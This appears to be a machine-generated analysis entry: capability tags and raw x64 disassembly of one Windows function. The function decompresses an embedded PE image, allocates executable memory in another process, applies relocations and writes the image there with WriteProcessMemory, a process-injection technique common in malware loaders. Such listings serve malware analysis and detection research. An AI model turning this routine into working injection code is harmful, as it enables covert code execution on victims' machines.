Function at 0x1800019b0
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push rbx
push r12
push r13
push r14
sub rsp, 0x58
xor r12d, r12d
mov r13, rcx
lea rcx, [0x180008668]
mov r14, rdx
mov dword [rsp + 0x30], 0xe1
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x40], r12d
mov qword [rsp + 0x48], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001a71
lea rdx, [rsp + 0x88]
mov rcx, r13
call rax
test eax, eax
je 0x180001a71
cmp dword [rsp + 0x88], r12d
je 0x180001a71
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call fcn.180001730
mov rbx, rax
test rax, rax
je 0x180001ce1
mov rdx, qword [rsp + 0x38]
mov r8, rax
mov rcx, r13
call fcn.180005270
test eax, eax
jne 0x180001ce1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r13
add rsp, 0x58
pop r14
pop r13
pop r12
pop rbx
jmp qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [r14]
mov ebx, dword [r14 + 4]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x90], rsi
lea rcx, str.ntdll.dll
mov qword [rsp + 0x98], rdi
lea rsi, [rax + r14 + 8]
lea rbp, [rsp + 0x30]
mov qword [rsp + 0x88], r12
mov rdi, r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlDecompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001b09
lea r8, [rsp + 0x88]
mov r9, rax
mov edx, ebx
mov rcx, rsi
call fcn.1800055f0
test eax, eax
je 0x180001b09
mov rbx, qword [rsp + 0x88]
mov edx, eax
mov rcx, rbx
call fcn.180004fe0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x180001cc9
movsxd rcx, dword [rdi + 0x3c]
mov eax, dword [r14]
mov qword [rsp + 0x50], r15
mov r15d, dword [rcx + rdi + 0x50]
mov ecx, dword [r14 + 4]
xor edx, edx
lea ebx, [rcx + rax + 0xf]
mov r9d, 0x3000
mov rcx, r13
and ebx, 0xfffffff8
mov dword [rsp + 0x20], 0x40
lea r8d, [rbx + r15]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180001c87
movsxd rcx, dword [rdi + 0x3c]
mov r11d, ebx
add rbx, rax
mov edx, dword [rcx + rdi + 0xb0]
test edx, edx
je 0x180001be0
cmp dword [rcx + rdi + 0xb4], r12d
je 0x180001be0
lea r10, [rdi + rdx]
mov r9, rbx
sub r9, qword [rcx + rdi + 0x30]
cmp dword [r10], r12d
je 0x180001be0
nop word [rax + rax]
mov eax, dword [r10 + 4]
sub eax, 8
shr eax, 1
sub eax, 1
movsxd rdx, eax
js 0x180001bd4
movzx r8d, word [r10 + rdx*2 + 8]
mov ecx, r8d
shr r8d, 0xc
and ecx, 0xfff
add ecx, dword [r10]
add rcx, rdi
cmp r8d, 3
je 0x180001bcb
cmp r8d, 0xa
jne 0x180001bce
add qword [rcx], r9
jmp 0x180001bce
add dword [rcx], r9d
sub rdx, 1
jns 0x180001ba1
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], r12d
jne 0x180001b90
mov r9, r11
mov r8, r14
mov rdx, rsi
mov rcx, r13
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001c6f
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, r13
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001c6f
movsxd r9, dword [rdi + 0x3c]
mov r8d, dword [r9 + rdi + 0x88]
test r8d, r8d
je 0x180001c52
cmp dword [r9 + rdi + 0x8c], r12d
je 0x180001c52
mov ecx, dword [rbp]
sub ecx, dword [r8 + rdi + 0x10]
cmp ecx, dword [r8 + rdi + 0x14]
jae 0x180001c4d
mov eax, dword [r8 + rdi + 0x1c]
add rax, rdi
mov edx, dword [rax + rcx*4]
jmp 0x180001c55
mov edx, r12d
jmp 0x180001c55
mov edx, r12d
mov eax, edx
add rbp, 0x10
add rax, rbx
mov qword [rbp - 8], rax
cmp dword [rbp], r12d
ja 0x180001c22
mov r12, qword [rsp + 0x38]
jmp 0x180001c87
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rsi, r12
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r15, qword [rsp + 0x50]
test rsi, rsi
je 0x180001cc9
mov r8, rsi
mov rdx, r12
mov rcx, r13
call fcn.180005270
test eax, eax
jne 0x180001cc9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rsi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x98]
add rsp, 0x58
pop r14
pop r13
pop r12
pop rbx
ret